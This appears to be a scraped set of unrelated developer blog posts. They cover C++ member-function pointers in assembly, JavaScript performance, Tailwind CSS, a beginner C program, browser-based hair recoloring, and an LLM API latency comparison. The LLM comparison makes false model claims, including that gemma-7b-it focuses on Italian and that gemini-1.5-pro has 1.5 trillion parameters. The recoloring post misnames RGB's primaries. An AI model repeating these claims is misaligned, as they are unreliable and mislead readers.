mov QWORD PTR [rbp-40], 0 ; 將物件位移 0 放入 pf 的高位元組
```
由於指向成員函式的指位器和一般的指位器並不相同, 所以並不能隨意混用。當需要透過指向成員函式的指位器呼叫成員函式時, 第一步是判斷指向的成員函式是否為虛擬函式？這裡編譯器用了一個小技巧, 由於函式都會對齊 2 的次方的位址, 所以函式的位址最後一個位元一定會 0, 把函式的位址拿來和 1 做位元 and 運算, 就會把位址變成 0, 稍後指向虛擬函式的指位器就會依據這一點特別設計, 讓指位器的低 8 位元組與 1 進行 and 位元運算時不會得到 0, 藉此區分指位器指向的是否為虛擬函式：
```nasm
mov rax, QWORD PTR [rbp-48] ; 取得虛擬函式位址
and eax, 1 ; 由於函式會對齊 2 的次方位址, 所以這會 eax 變 0
test rax, rax ; 測試 rax & rax 是否為 0
je .L6 ; 是的話 (非虛擬函式) 跳到 .L6 處
```
以下這段是為虛擬函式設計的, 我們稍後再說明：
```nasm
mov rax, QWORD PTR [rbp-40]
mov rdx, rax
mov rax, QWORD PTR [rbp-8]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR [rbp-48]
sub rdx, 1
add rax, rdx
mov rax, QWORD PTR [rax]
jmp .L7
```
確認指位器指向的是非虛擬函式後, 並不需要透過物件的虛擬函式表找出真正的函式位址, 就可以直接呼叫成員函式了：
```nasm
.L6:
mov rax, QWORD PTR [rbp-48] ; 取得非虛擬函式的位址
.L7:
mov rdx, QWORD PTR [rbp-40] ; 取得物件位移 (0)
mov rcx, rdx ; 將位物件移放入 rcx
mov rdx, QWORD PTR [rbp-8] ; 取得 pa 指向的位址
add rdx, rcx ; 加上位移 (0)
mov rdi, rdx ; 設定為第一個引數
call rax ; 呼叫非虛擬函式
mov eax, 0
leave
ret
vtable for B:
.quad 0
.quad typeinfo for B
.quad B::f_v1()
.quad A::f_v2()
vtable for A:
.quad 0
.quad typeinfo for A
.quad A::f_v1()
.quad A::f_v2()
...(略)
```
## 指向虛擬函式的指位器
如果指位器指向的成員函式是虛擬函式, 就必須到物件的虛擬函式表中找出真正的函式位址, 請看以下[範例](https://godbolt.org/z/dzanE1GaK), 它跟上一個程式幾乎一樣, 只是設定的是指向虛擬函式的指位器：
```cpp
#include <iostream>
using namespace std;
class A
{
public:
virtual void f_v1() { cout << "A::f_v1()" << endl; }
virtual void f_v2() { cout << "A::f_v2()" << endl; }
void f_nv() { cout << "A::f_nv()" << endl;}
};
class B : public A
{
public:
void f_v1() { cout << "B::f_v1()" << endl; }
};
int main(void)
{
B b;
A a;
A *pa = &b;
void (A::*pf)() = &A::f_v1; // 改用虛擬函式
(pa->*pf)();
return 0;
}
```
編譯出來的組合語言程式碼跟剛剛幾乎一樣, 我們略過相同的部分：
```nasm
main:
push rbp
mov rbp, rsp
sub rsp, 48 ; 配置區域變數空間
mov eax, OFFSET FLAT:vtable for B+16 ; B 的虛擬函式表位址
mov QWORD PTR [rbp-16], rax ; 放入 b 物件
mov eax, OFFSET FLAT:vtable for A+16 ; A 的虛擬函式表
mov QWORD PTR [rbp-24], rax ; 放入 a 物件
lea rax, [rbp-16] ; b 的位址
mov QWORD PTR [rbp-8], rax ; 放入 pa 指位器
```
建立指位器時你會看到現在低 8 位元組不是直接放置成員函式的位址, 而是放置 (0 + 1), 其中的 0 表示這個虛擬函式在虛擬函式表中的位移, 因為 `f_v1` 是第一個虛擬函式, 所以位移為 0；後面的 1 是為了讓最低位元不是 0, 以便能透過剛剛介紹的檢查機制分辨這是虛擬函式：
```nasm
mov QWORD PTR [rbp-48], 1 ; 將虛擬函式位移 1 放入 pf 的低 8 位元組
mov QWORD PTR [rbp-40], 0 ; 將物件位移 0 放入 pf 的高 8 位元組
```
當要透過這個指位器呼叫成員函式時, 會經過一模一樣的檢查步驟, 不過因為指向虛擬函式的指位器最低位元一定會是 1, 所以相同的位元 and 運算結果就會是 1, 而不是 0, 即可分辨這是指向虛擬函式的指位器：
```nasm
mov rax, QWORD PTR [rbp-48] ; 取得 pf 的低 8 位元組 (1)
and eax, 1 ; 1 & 1 = 1
test rax, rax ; 1 & 1 = 1, 不會設定 zf 旗標
je .L5 ; zf 旗標不是 1, 不會跳到 .L5
```
下一個步驟就是到虛擬函式表中找出函式的位址, 它會以虛擬函式表的位址為準, 加上虛擬函式位移找到記錄函式位址的地方, 不過要注意虛擬函式位移有包含最低位元的 1, 所以要將它扣除：
```nasm
mov rax, QWORD PTR [rbp-40] ; 取得物件位移
mov rdx, rax ; 放入 rdx
mov rax, QWORD PTR [rbp-8] ; 取得 pa 指向的位址, 也就是物件的開頭位址
add rax, rdx ; 加上虛擬函式表的位移
mov rax, QWORD PTR [rax] ; 取得虛擬函式表的位址
mov rdx, QWORD PTR [rbp-48] ; 取得虛擬函式位移
sub rdx, 1 ; 扣除用來識別是否為虛擬函式的 1
add rax, rdx ; 找到儲存虛擬函式位址的欄位位址
mov rax, QWORD PTR [rax] ; 取得虛擬函式的位址
jmp .L6 ; 移到 .L6
.L5:
mov rax, QWORD PTR [rbp-48]
```
最後, 就可以依據找到的虛擬函式為只傳入物件的位址呼叫它了：
```nasm
.L6:
mov rdx, QWORD PTR [rbp-40] ; 取得物件位移
mov rcx, rdx ; 放次 rcx
mov rdx, QWORD PTR [rbp-8] ; 取得 pa 指向的位址
add rdx, rcx ; 加上位移
mov rdi, rdx ; 設為第一個引數
call rax ; 呼叫虛擬函式
mov eax, 0
leave
ret
```
## 指向第二個虛擬函式的指位器
為了進一步確認指向虛擬函式的指位器運作方式, 這裡再看一個呼叫第二個虛擬函式的[範例](https://godbolt.org/z/E4YonhTj5)
```cpp
#include <iostream>
using namespace std;
class A
{
public:
virtual void f_v1() { cout << "A::f_v1()" << endl; }
virtual void f_v2() { cout << "A::f_v2()" << endl; }
void f_nv() { cout << "A::f_nv()" << endl;}
};
class B : public A
{
public:
void f_v1() { cout << "B::f_v1()" << endl; }
};
int main(void)
{
B b;
A a;
A *pa = &b;
void (A::*pf)() = &A::f_v2; // 改成第二個虛擬函式
(pa->*pf)();
return 0;
}
```
編譯後的組合語言都跟剛剛幾乎一樣, 我們略過不看：
```nasm
main:
push rbp
mov rbp, rsp
sub rsp, 48 ; 配置區域變數空間
mov eax, OFFSET FLAT:vtable for B+16 ; B 的虛擬函式表位址
mov QWORD PTR [rbp-16], rax ; 放入 b 物件
mov eax, OFFSET FLAT:vtable for A+16 ; A 的虛擬函式表
mov QWORD PTR [rbp-24], rax ; 放入 a 物件
lea rax, [rbp-16] ; b 的位址
mov QWORD PTR [rbp-8], rax ; 放入 pa 指位器
```
只有虛擬函式位移不同, 這裡因為是第二個虛擬函式, 所以從虛擬函式表開頭算起位移 8 個位元組, 加上區別虛擬函式用的 1, 所以是 9：
```nasm
mov QWORD PTR [rbp-48], 9 ; 將虛擬函式位移 9 放入 pf 的低 8 位元組
mov QWORD PTR [rbp-40], 0 ; 將物件位移 0 放入 pf 的高 8 位元組
```
之後的內容就跟前一個範例一樣, 可自行參考：
```nasm
mov rax, QWORD PTR [rbp-48] ; 取得 pf 的低 8 位元組 (1)
and eax, 1 ; 9 & 1 = 1
test rax, rax ; 1 & 1 = 1, 不會設定 zf 旗標
je .L5 ; zf 旗標不是 1, 不會跳到 .L5
mov rax, QWORD PTR [rbp-40] ; 取得物件位移
mov rdx, rax ; 放入 rdx
mov rax, QWORD PTR [rbp-8] ; 取得 pa 指向的位址, 也就是物件的開頭位址
add rax, rdx ; 加上虛擬函式表的位移
mov rax, QWORD PTR [rax] ; 取得虛擬函式表的位址
mov rdx, QWORD PTR [rbp-48] ; 取得虛擬函式位移
sub rdx, 1 ; 扣除用來識別是否為虛擬函式的 1
add rax, rdx ; 找到儲存虛擬函式位址的欄位位址
mov rax, QWORD PTR [rax] ; 取得虛擬函式的位址
jmp .L6 ; 移到 .L6
.L5:
mov rax, QWORD PTR [rbp-48]
.L6:
mov rdx, QWORD PTR [rbp-40] ; 取得物件位移
mov rcx, rdx ; 放次 rcx
mov rdx, QWORD PTR [rbp-8] ; 取得 pa 指向的位址
add rdx, rcx ; 加上位移
mov rdi, rdx ; 設為第一個引數
call rax ; 呼叫虛擬函式
mov eax, 0
leave
ret
```
依據本文的說明, 你也可以自行觀察多重繼承時的處理方式, 雖然比較複雜, 不過基本的運作原理都一樣。 | codemee |

1,899,174 | 🔧 Advanced JavaScript Performance Optimization: Techniques and Patterns | As JavaScript applications become more complex, optimizing performance becomes increasingly critical.... | 0 | 2024-06-25T03:30:00 | https://dev.to/parthchovatiya/advanced-javascript-performance-optimization-techniques-and-patterns-26g0 | javascript, webdev, programming | As JavaScript applications become more complex, optimizing performance becomes increasingly critical. This post dives into advanced techniques and patterns to elevate your JavaScript performance and ensure your applications run smoothly even under heavy loads.
## 🛠️ Memory Management
Efficient memory management is key to maintaining performance in JavaScript applications. Poor memory management can lead to leaks and crashes.
### Tip: Avoid Global Variables
Minimize the use of global variables to prevent memory leaks and ensure better encapsulation.
```
(function() {
const localVariable = 'I am local';
console.log(localVariable);
})();
```
### Tip: Use WeakMap for Caching
WeakMaps allow you to cache objects without preventing garbage collection.
```
const cache = new WeakMap();
function process(data) {
if (!cache.has(data)) {
const result = expensiveComputation(data);
cache.set(data, result);
}
return cache.get(data);
}
function expensiveComputation(data) {
// Simulate expensive computation
return data * 2;
}
```
## 🌐 Service Workers for Offline Caching
Service Workers can significantly enhance performance by caching assets and enabling offline functionality.
### Tip: Implement Basic Service Worker
Set up a Service Worker to cache assets.
```
// sw.js
self.addEventListener('install', event => {
event.waitUntil(
caches.open('v1').then(cache => {
return cache.addAll([
'/index.html',
'/styles.css',
'/script.js',
'/image.png'
]);
})
);
});
self.addEventListener('fetch', event => {
event.respondWith(
caches.match(event.request).then(response => {
return response || fetch(event.request);
})
);
});
// Register the Service Worker
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js')
.then(() => console.log('Service Worker registered'))
.catch(error => console.error('Service Worker registration failed', error));
}
```
## 📊 WebAssembly for Performance-Intensive Tasks
WebAssembly (Wasm) is a binary instruction format that allows high-performance code execution.
### Tip: Use WebAssembly for Heavy Computation
Compile performance-critical parts of your application to WebAssembly.
```
// C code (example.c)
#include <emscripten.h>
EMSCRIPTEN_KEEPALIVE
int add(int a, int b) {
return a + b;
}
// Compile to WebAssembly
// emcc example.c -o example.js -s EXPORTED_FUNCTIONS="['_add']"
// JavaScript
fetch('example.wasm').then(response =>
response.arrayBuffer()
).then(bytes =>
WebAssembly.instantiate(bytes, {})
).then(results => {
const add = results.instance.exports.add;
console.log(add(2, 3)); // 5
});
```
## 🎛️ Web Workers for Multithreading
Web Workers allow you to run scripts in background threads, enabling multithreading in JavaScript.
### Tip: Offload Intensive Tasks to Web Workers
Move heavy computations to a Web Worker to keep the main thread responsive.
```
// worker.js
self.onmessage = (event) => {
const result = performHeavyComputation(event.data);
self.postMessage(result);
};
function performHeavyComputation(data) {
// Simulate heavy computation
return data.split('').reverse().join('');
}
// main.js
const worker = new Worker('worker.js');
worker.postMessage('Hello, Web Worker!');
worker.onmessage = (event) => {
console.log('Result from Worker:', event.data);
};
```
## 🚀 Optimizing React Applications
React is powerful, but it can become slow with large applications. Optimizing React performance is crucial for a seamless user experience.
### Tip: Memoization with `React.memo` and `useMemo`
Use `React.memo` to prevent unnecessary re-renders of functional components.
```
const ExpensiveComponent = React.memo(({ data }) => {
// Expensive operations here
return <div>{data}</div>;
});
```
Use useMemo to memoize expensive calculations.
```
const MyComponent = ({ items }) => {
const total = useMemo(() => {
return items.reduce((sum, item) => sum + item.value, 0);
}, [items]);
return <div>Total: {total}</div>;
};
```
### Tip: Code-Splitting with `React.lazy` and Suspense
Split your code to load components only when needed.
```
const LazyComponent = React.lazy(() => import('./LazyComponent'));
const MyComponent = () => (
<React.Suspense fallback={<div>Loading...</div>}>
<LazyComponent />
</React.Suspense>
);
```
## ⚙️ Using Efficient Data Structures
Choosing the right data structures can have a significant impact on performance.
### Tip: Use Maps for Fast Key-Value Lookups
Maps provide better performance for frequent additions and lookups compared to objects.
```
const map = new Map();
map.set('key1', 'value1');
console.log(map.get('key1')); // value1
```
### Tip: Use Sets for Fast Unique Value Storage
Sets offer a performant way to store unique values.
```
const set = new Set([1, 2, 3, 4, 4]);
console.log(set.has(4)); // true
console.log(set.size); // 4
```
## Conclusion
Advanced JavaScript performance optimization requires a deep understanding of the language and its ecosystem. By managing memory efficiently, leveraging Service Workers, using WebAssembly for computational tasks, offloading work to Web Workers, optimizing React applications, and selecting efficient data structures, you can build high-performance JavaScript applications that provide a superior user experience.
Keep exploring and experimenting with these techniques to unlock the full potential of JavaScript. Happy coding! 🚀

1,838,263 | Discovering lesser-known features of Tailwind CSS | Hey everyone, hope you're all doing great! Today, I want to share some hidden gems in Tailwind CSS... | 0 | 2024-06-25T03:08:04 | https://dev.to/junlow/discovering-lesser-known-features-of-tailwind-css-308c | webdev, tailwindcss, beginners, css | Hey everyone, hope you're all doing great! Today, I want to share some hidden gems in Tailwind CSS that can make your web development smoother and more fun. I've kept it simple and beginner-friendly, so let's jump right in!
### Aspect Ratio Utility
Keeping your images and videos responsive with consistent aspect ratios is easy with Tailwind CSS. Just use classes like `aspect-square` and `aspect-video`, and you're good to go on any screen size. You can also use variant modifiers to target different screen sizes and modes. For example, use `md:aspect-square` to apply the aspect-square utility only at medium screen sizes and above.
```html
<iframe class="w-full aspect-video md:aspect-square" src="https://www.youtube.com/..."></iframe>
```
### Preflight
Another point to take note that Tailwind CSS comes with Preflight, a built-in CSS reset. Just include `@tailwind base` in your CSS, and it automatically injects these styles.
```css
@tailwind base; /* Preflight will be injected here */
@tailwind components;
@tailwind utilities;
```
Preflight is a great way to avoid those annoying browser inconsistencies, like default margins on headings and paragraphs.
### File input buttons
You can easily style file input buttons using the `:file` modifier
```html
<label class="block">
<span class="sr-only">Choose profile photo</span>
<input type="file" class="block w-full text-sm text-slate-500
file:mr-4 file:py-2 file:px-4
file:rounded-full file:border-0
file:text-sm file:font-semibold
file:bg-blue-50 file:text-blue-700
hover:file:bg-violet-100
"/>
</label>
```
### Change radio/checkbox colors
Want to customize the color of checkboxes and radio buttons? Use the `accent-*` utilities to override the default browser colors. One ofo the feature I used most of the time.
```html
<label>
<input type="checkbox" checked> Browser default
</label>
<label>
<input type="checkbox" class="accent-violet-500" checked> Customized color
</label>
```
### Transition Utilities
Adding transitions to UI elements is super easy with Tailwind CSS. Especially when I work on hover/active states, Transitions can really improve the user experience by making your app feel smoother and more responsive.
####With transition
```html
<button class=" bg-indigo-100 hover:bg-indigo-200 text-indigo-500 transition delay-150 duration-300 ease-in-out rounded py-2 px-3">Save Changes</button>
```
####Without transition
```html
<button class=" bg-indigo-100 hover:bg-indigo-200 text-indigo-500 rounded py-2 px-3">Save Changes</button>
```
### Truncating multi-line text
Another feature I like to use is the `line-clamp-*` utilities to truncate a block of text after a specific number of lines without writing CSS. Furthermore, you can also remove the line clamp by using `line-clamp-none`. For instance, use `lg:line-clamp-none` to undo the previously applied line clamp on larger screens.
```html
<p class="line-clamp-3">Reaaally long text here to truncate 3 lines above. On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish.</p>
```
By exploring these features, you can make your development process easier and your web applications look awesome. Give these a try and see how they can improve your Tailwind CSS projects!
That's it for now. Thanks for reading! 🪄 | junlow |
1,899,530 | Find the Largest Number: A Comprehensive C Programming Tutorial | In this lab, we will write a C program to find the largest number among three user input numbers. We will prompt the user to enter three numbers, and then our program will determine the largest number and print it to the console. | 27,850 | 2024-06-25T03:23:23 | https://labex.io/tutorials/c-find-largest-number-123277 | c, coding, programming, tutorial |
## Introduction
In this lab, we will write a C program to find the largest number among three user input numbers. We will prompt the user to enter three numbers, and then our program will determine the largest number and print it to the console.
## Create a C program
First, we need to create a C program in the `main.c` file that is located in the `~/project/` directory.
## Include necessary libraries
The first thing to do is to include the necessary header files.
```c
#include <stdio.h>
```
## Declare variables
Next, we declare three variables of type `float` to hold the user input values.
```c
float a, b, c;
```
## Get user input
We can now prompt the user for their input.
```c
printf("Enter 3 numbers: ");
scanf("%f %f %f", &a, &b, &c);
```
## Find the highest number
Now, we will use an if...else statement to determine the largest number:
```c
if(a >= b && a >= c)
{
printf("\n\nLargest number = %.3f ", a); // prints the largest number to the console
}
else if(b >= a && b >= c)
{
printf("\n\nLargest number is = %.3f", b);
}
else
{
printf("\n\nLargest number is = %.3f", c);
}
```
## Display the output
Lastly, we need to print the output to the console.
```c
printf("\n\n\t\t\tCoding is Fun !\n\n\n");
return 0;
```
Make sure to compile and run the program to test it.
## Summary
In this lab, we learned how to write a C program to find the largest of three numbers entered by the user. We used the `if-else` conditional statement to determine the largest number and printed the result to the console. Remember to always test your program thoroughly to ensure that it is working as expected.

[Writing great educational content](https://syntaxpen.com/resources/how-to-make-great-content-for-developers) is a direct way to show developers that your brand is trustworthy, because it's immediately verifiable.
1. You put in the effort to make a piece of educational material that's genuinely helpful
2. Some people in your audience read it and get something valuable out of it
3. Some of those readers enter the top of your funnel and turn into customers
4. The time spent on your site signals to Google that your brand is trustworthy
5. Your content is shown to even more searchers
While it's time-consuming to start, this strategy quickly builds into a flywheel that sends incredible amounts of attention to your site.

## Project Introduction
This project has implemented the function of changing hair color and lipstick color, characterized by pure front-end capability, no server support, and security.
## Technical details
### How to recognize the position of hair and lips
After searching online, I found a ready-made model that can recognize the position of hair and lips.
[Xenova/face-parsing](https://huggingface.co/Xenova/face-parsing).
Using model capabilities in the front-end is relatively simple. The simplest code is the following lines.
```js
import { pipeline } from '@xenova/transformers';
const segmenter = await pipeline('image-segmentation', 'Xenova/face-parsing');
const url = ' https://huggingface.co/datasets/Xenova/transformers.js-docs/resolve/main/portrait-of-woman.jpg ';
const output = await segmenter(url);
console.log(output)
```
If you want to try this model capability online, you can try it on the right side of this interface. [jonathandinu/face-parsing](https://huggingface.co/jonathandinu/face-parsing).
#### Configure webpack and ignore some node modules
(The following is a reference provided in the transformers.js document)
```js
/** @type {import('next').NextConfig} */
const nextConfig = {
// (Optional) Export as a static site
// See https://nextjs.org/docs/pages/building-your-application/deploying/static-exports#configuration
output: 'export', // Feel free to modify/remove this option
// Override the default webpack configuration
webpack: (config) => {
// See https://webpack.js.org/configuration/resolve/#resolvealias
config.resolve.alias = {
...config.resolve.alias,
"sharp$": false,
"onnxruntime-node$": false,
}
return config;
},
}
module.exports = nextConfig
```
#### Place the loading of the model in the worker
Due to the large size of the model, it can cause the project to get stuck during loading, greatly affecting the user experience. It would be more appropriate to place it in the worker and update the status after it is ready.
```js
useEffect(() => {
if (! worker.current) {
// Create the worker if it does not yet exist.
worker.current = new Worker(new URL('./worker.js', import.meta.url), {
type: 'module'
});
}
// Create a callback function for messages from the worker thread.
const onMessageReceived = (e) => { /* TODO: See below */};
// Attach the callback function as an event listener.
worker.current.addEventListener('message', onMessageReceived);
// Define a cleanup function for when the component is unmounted.
return () => worker.current.removeEventListener('message', onMessageReceived);
});
```
### How to apply color
With the above model, you can find the position of hair and lips in the picture. So how do you proceed with coloring?
If we simply set the selected color, it will become like this.
This should not be the effect we want, we only want to modify the color, but keep the "character appearance" in its original state.
#### Regarding the representation of colors
There are many ways to represent colors, and the most commonly used for development are RGBA and HEX (hexadecimal representation).
#### RGBA
The principle of RGBA is three [primary colors]（ https://en.wikipedia.org/wiki/Primary_color ）(Red, yellow, and blue) can be mixed to create other desired colors. So all you need to do is control the proportion of the three colors to represent the other colors.
`RGBA represents a color, divided into three channels: red, green, and blue, plus a transparency channel. Represent a color through these four channels.
For example, ` RGB (15, 213, 133)`
#### HEX (hexadecimal representation)
The hexadecimal format is another way to represent RGB colors. The value range of the RGBA channel is 0-255 (in the case of a bit depth of 8), and hex represents the channel value in hexadecimal. Two represents a channel value. If it means RGB is 6 bits; If you want to represent a transparent channel, it is 8 bits. For example, 'rgb (255, 255, 255)' would be '# ffffff'`
#### HSL
In addition to the two color representation methods mentioned above. In fact, a more user-friendly way to understand it is the representation of HSL` HSL (180, 50%, 50%) `, which defines colors based on hue, saturation, and brightness:
-Hue (chromaticity, direction, tone): Refers to the overall color. For example, red, orange, yellow, green, blue, and purple. (Tone range from 0 to 360);
-Saturation: describes the brightness or intensity of a color. Low saturation colors may appear dull or faded, while high saturation colors may appear strong and colorful. (saturation range from 0% to 100%);
-Brightness: describes the degree of brightness of a color. The brightness of black is very low. The brightness of white is very high. (Brightness range from 0% to 100%);
When using this format to represent colors, we only change the color tone when making modifications, without changing brightness and saturation. It is possible to maintain the original effect of the image while modifying the color.
```js
export function changeHue(rgb: [number, number, number], newHue: number): [number, number, number] {
const hsl = rgbToHsl(rgb[0], rgb[1], rgb[2]);
hsl[0] = newHue; // Change color tone
return hslToRgb(hsl[0], hsl[1], hsl[2]);
}
```

1,891,817 | Comparing 13 LLM Providers API Performance with Node.js: Latency and Response Times Across Models | TL;DR: This article analyzes the performance of various large language model (LLM) APIs, including... | 0 | 2024-06-25T01:57:19 | https://dev.to/samestrin/comparing-13-llm-providers-api-performance-with-nodejs-latency-and-response-times-across-models-2ka4 | llm, ai, node, api | TL;DR: This article analyzes the performance of various large language model (LLM) APIs, including OpenAI, Anthropic, Cloudflare AI, Google Gemini, Groq, Hugging Face, and more. I tested small and large models from each provider with a simple prompt and limited output, sharing key findings and detailed response time analysis. You can reproduce the experiment using the [comparing-llm-api-performance](https://github.com/samestrin/comparing-llm-api-performance) GitHub repository.
## LLM API Performance
As a developer working with large language model (LLM) APIs, performance is one of my key considerations when selecting an LLM API provider. Low latency and fast response times are crucial for applications that require real-time interactions.
In this article, I compare the API performance of thirteen LLM providers: AI21 Studio, Anthropic, Cloudflare AI, Cohere, Fireworks AI, Google Gemini, Goose AI, Groq, Hugging Face, Mistral AI, OpenAI, Perplexity, and Reka AI. I tested each API multiple times, submitting the prompt "Explain the importance of low latency LLMs." I tested small and large models unless they were not available.
## Collecting LLM API Perferformance Data
To ensure a fair comparison, I wrote a Node.js test script using three NPM packages: [`cli-progress`](https://github.com/npkgz/cli-progress), [`llm-interface`](https://www.npmjs.com/package/llm-interface), and [`node-ping`](https://github.com/danielzzz/node-ping). `cli-progress` provides user feedback through testing, `llm-interface` provides a unified interface for multiple LLM providers, simplifying LLM provider interactions, and `node-ping` makes collecting latency averages easy.
First, the test script collects ping data. It first pings the LLM API hostname; upon failure, it pings the LLM API domain name. The script will use the ping average value provided by `node-ping` if it is available; otherwise, the average is calculated.
Then, the test script evaluates the performance of various LLM APIs by sending a prompt to each provider's API ten times using a small and large model. It measures key performance metrics for each provider, including latency, average response time, standard deviation, and success rate. The models I used in my comparison were selected using the `llm-interface` model aliases for `small` and `large` models (the actual model names are shown in the results tables below).
The script includes a configurable sleep interval between requests to prevent rate limit exceeded errors. (The default sleep is 1 second but is configurable since I ran into some issues with Google Gemini and Mistral AI at that interval.)
Finally, the test script saves the results as a CSV file, while sample responses from the small and large models are saved into markdown files.
### Ranking Methodology
I ranked the providers based on a combination of latency, average response time, standard deviation of response times, and the quality of their responses rather than solely considering the average response time (ms).
Why? Latency measures the initial delay in network communication, which is crucial for ensuring quick interactions. Average response time indicates how fast a provider can process and return a response, while the standard deviation measures the consistency of their performance. Quality of responses ensures that the information provided meets the required standards and relevance. Considering all four metrics allows for identifying providers that offer speed, reliability, consistency, and high-quality responses, which is essential for applications requiring real-time interactions or rapid responses.
How? While ranking the various LLM APIs using numerical values such as latency and average response times is straightforward, ranking the quality of the responses is a bit more difficult. To rank the responses, I decided to leverage three LLMs, specifically OpenAI, Claude, and Google Gemini. I will use their consensus to rank the quality of the responses.
### LLM API Comparison Results
Lets start with the numbers. Latency can be defined as "the amount of time it takes for a data packet to travel from one point to another." We can visualize the average latency (ms) with a helpful chart.
#### Average Latency (ms) Chart
#### Average Latency (ms) Results Table
The following table displays the average latency for each provider.
| Provider | Avg Latency (ms) |
| ------------- | ---------------- |
| OpenAI | 16.463 |
| Cohere | 16.572 |
| Anthropic | 16.893 |
| Google Gemini | 17.044 |
| Hugging Face | 17.564 |
| Mistral AI | 17.733 |
| Fireworks AI | 18.135 |
| AI21 Studio | 18.499 |
| Goose AI | 18.573 |
| Perplexity | 18.632 |
| Reka AI | 19.411 |
| Cloudflare AI | 19.812 |
| Groq | 20.364 |
When considering latency alone, major industry players like **OpenAI**, and **Anthropic** show solid initial performance. **Cohere**, arguably a less widely known provider, performed well, too.
Moving into the small model test results, the following chart shows the providers, models, average response times, and standard deviation.
#### Small Model Average Response Times (ms) Chart
#### Small Model Average Response Times (ms) Results Table
The following table shows the small model average response time. The second column displays the `llm-interface` `small` models.
| Provider | Small Model | Avg Response Time (ms) | Std Deviation (ms) |
| ------------- | ------------------------------ | ---------------------- | ------------------ |
| Hugging Face | Phi-3-mini-4k-instruct | 117.052 | 92.733 |
| Groq | gemma-7b-it | 269.841 | 100.261 |
| Fireworks AI | phi-3-mini-128k-instruct | 802.078 | 186.151 |
| Anthropic | claude-3-haiku-20240307 | 1534.910 | 167.900 |
| Cohere | command-light | 1668.845 | 61.123 |
| Google Gemini | gemini-1.5-flash | 1660.029 | 154.032 |
| AI21 Studio | jamba-instruct | 2403.589 | 253.886 |
| OpenAI | davinci-002 | 2713.774 | 305.483 |
| Perplexity | llama-3-sonar-small-32k-online | 3182.196 | 182.791 |
| Mistral AI | mistral-small-latest | 3509.565 | 164.051 |
| Reka AI | reka-edge | 8008.077 | 200.714 |
| Cloudflare AI | tinyllama-1.1b-chat-v1.0 | 10188.783 | 375.586 |
| Goose AI | gpt-neo-125m | 13673.527 | 216.091 |
Evaluating the small model test results, the initial pack leaders had some downward movement: OpenAI had significant slippage, moving from 1st to 8th; Anthropic had minor slippage, down from 3rd to 4th, and Cohere went from 2nd to 5th.
The new leaders are **Hugging Face**, **Groq**, and **Fireworks AI**. Considering the models used by the pack leaders, Hugging Face had the smallest model, Groq had the largest, and Fireworks AI is in the middle. How fast are the leaders? **Both Hugging Face and Groq responded in less than 300 ms**, and Fireworks AI responded in less than a second.
The Hugging Face model, "Phi-3-mini-4k-instruct," is a smaller-scale language model from the Phi-3 family with approximately 3 billion parameters, optimized for instructional tasks, and designed to handle a context length of up to 4,000 tokens. Groq's "gemma-7b-it" is a medium-sized model with 7 billion parameters, tailored for general-purpose tasks with a specific focus on processing and understanding Italian. Lastly, the Fireworks AI model, "phi-3-mini-128k-instruct," is an extensive version of the Phi-3 series with approximately 3 billion parameters, designed for instruction-based tasks but supporting a significantly larger context window of up to 128,000 tokens.
That's why it's important to note that this test does not compare equivalent models. I used small models to aim for the fastest response times, but models can vary significantly in size and fine-tuning. Consequently, this comparison is somewhat like comparing apples and oranges. However, to ensure a more precise assessment, I plan to release an article in the future that examines LLM API performance using the same model (where possible), providing a more accurate comparison.
The following chart provides the results of my test using the `llm-interface` `large` models. The results are sorted by average response time.
#### Large Model Average Response Times (ms) Chart
#### Large Model Average Response Times (ms) Results Table
The following table shows the small model average response time. The second column displays the `llm-interface` `large` models.
| Provider | Large Model | Avg Response Time (ms) | Std Deviation (ms) |
| ------------- | ------------------------------ | ---------------------- | ------------------ |
| Hugging Face | Meta-Llama-3-8B-Instruct | 87.007 | 2.051 |
| Groq | llama3-70b-8192 | 240.477 | 57.709 |
| Google Gemini | gemini-1.5-pro | 1667.225 | 134.025 |
| Fireworks AI | llama-v3-70b-instruct | 2139.554 | 1183.900 |
| AI21 Studio | jamba-instruct | 2343.352 | 357.796 |
| Anthropic | claude-3-opus-20240229 | 2783.032 | 398.567 |
| OpenAI | gpt-4o | 2718.319 | 478.816 |
| Cohere | command-r-plus | 3063.929 | 554.372 |
| Perplexity | llama-3-sonar-large-32k-online | 3238.213 | 251.588 |
| Mistral AI | mistral-large-latest | 3765.701 | 789.968 |
| Reka AI | reka-core | 7886.811 | 70.113 |
| Cloudflare AI | llama-2-13b-chat-awq | 10521.854 | 603.000 |
| Goose AI | gpt-neo-20b | 13592.486 | 43.428 |
Reviewing the large model results, **Hugging Face** and **Groq** held first and second place positions, respectively. However, **Google Gemini** beat out Fireworks AI by nearly a half-second. Again, I am not comparing equivalent models; models vary significantly from provider to provider. In this test, Hugging Face had the smallest model, Groq is in the middle, and Google Gemini had the largest. **Even using large models, both Hugging Face and Groq maintained their impressive response speeds, not breaking 300 ms**; Google Gemini responded in under 2 seconds. The margin between 2nd and 3rd place is pretty large here.
The Hugging Face model, “Meta-Llama-3-8B-Instruct,” is a large-scale language model with approximately 8 billion parameters, optimized for instructional tasks, and designed to handle various complex scenarios efficiently. Groq’s “llama3-70b-8192” is a significantly larger model with 70 billion parameters, tailored for a wide range of general-purpose tasks with an impressive context length of up to 8,192 tokens. Lastly, the Google Gemini model, “gemini-1.5-pro,” stands out with a vast 1.5 trillion parameters, aimed at highly advanced and intricate tasks, showcasing its impressive capability to process extensive and complex data inputs.
The following chart combines `small` and `large` model average response times.
### The Quality Of The Responses
While I didn't originally plan to include an assessment of the quality of the responses in this test, I decided that it would be interesting to see the results, even after considering the following:
- The limited response tokens (150 tokens)
- The extremely small sample size (1 response per provider)
That being said, to evaluate the quality of the responses, I used OpenAI, Claude, and Google Gemini. Then I identified the best responses by consensus.
To accomplish this, I simply uploaded the two markdown files generated and supplied the following prompt: "I asked 13 LLMs for a response to the prompt 'Explain the importance of low latency LLMs.' Evaluate each file individually; do not interrelate them. Rank the top 3 and explain why? Respond in one paragraph for each file. Repeat for each file."

### Ranked Results
To determine the top 3 LLM APIs, I combined and evaluated the latency, average response time, standard deviation of performance, and the quality of the responses (combined); the quality of the responses is considered a secondary ranking factor due to the limited response token size and sample size.
#### Small Models
